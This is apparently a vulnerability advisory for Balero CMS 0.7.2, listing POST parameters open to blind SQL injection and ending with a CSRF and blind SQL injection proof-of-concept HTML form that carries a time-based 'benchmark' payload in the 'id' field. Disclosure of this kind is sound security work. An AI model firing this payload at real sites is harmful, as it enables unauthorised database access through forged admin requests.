Balero CMS 0.7.2 - Multiple Blind SQL Injections








Balero CMS v0.7.2 Multiple Blind SQL Injection Vulnerabilities

Vendor: BaleroCMS Software
Product web page:
Affected version: 0.7.2

Summary: Balero CMS is an open source project that can help you manage
the page of your company with just a few guided steps, minimizing the
costs that many companies make to have your advertising medium and/or

Desc: The application suffers from multiple blind SQL injection vulnerabilities
when input is passed to several POST parameters thru their affected modules
which are not properly sanitised before being returned to the user or used
in SQL queries. This can be exploited to manipulate SQL queries by injecting
arbitrary SQL code.

Vulnerable POST parameters in affected modules:
- pages         [admin]
- themes        [admin]
- code          [mod-languages]
- id            [mod-blog, mod-virtual_page]
- title         [mod-blog]
- a             [mod-virtual_page]
- virtual_title [mod-virtual_page]

Tested on: Apache 2.4.10 (Win32)
           PHP 5.6.3
           MySQL 5.6.21

Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2015-5238
Advisory URL:



csrf+bsqli poc:

    <form action="http://localhost/balerocms/admin/edit_page/mod-virtual_page/id-11" method="POST">
      <input type="hidden" name="virtual_title" value="ZSL" />
      <input type="hidden" name="a" value="1" />
      <input type="hidden" name="content" value="Testingus" />
      <input type="hidden" name="_wysihtml5_mode" value="1" />
      <input type="hidden" name="id" value="11' and benchmark (50000000,sha1(1))-- " />
      <input type="hidden" name="submit_delete" value="" />
      <input type="submit" value="Submit form" />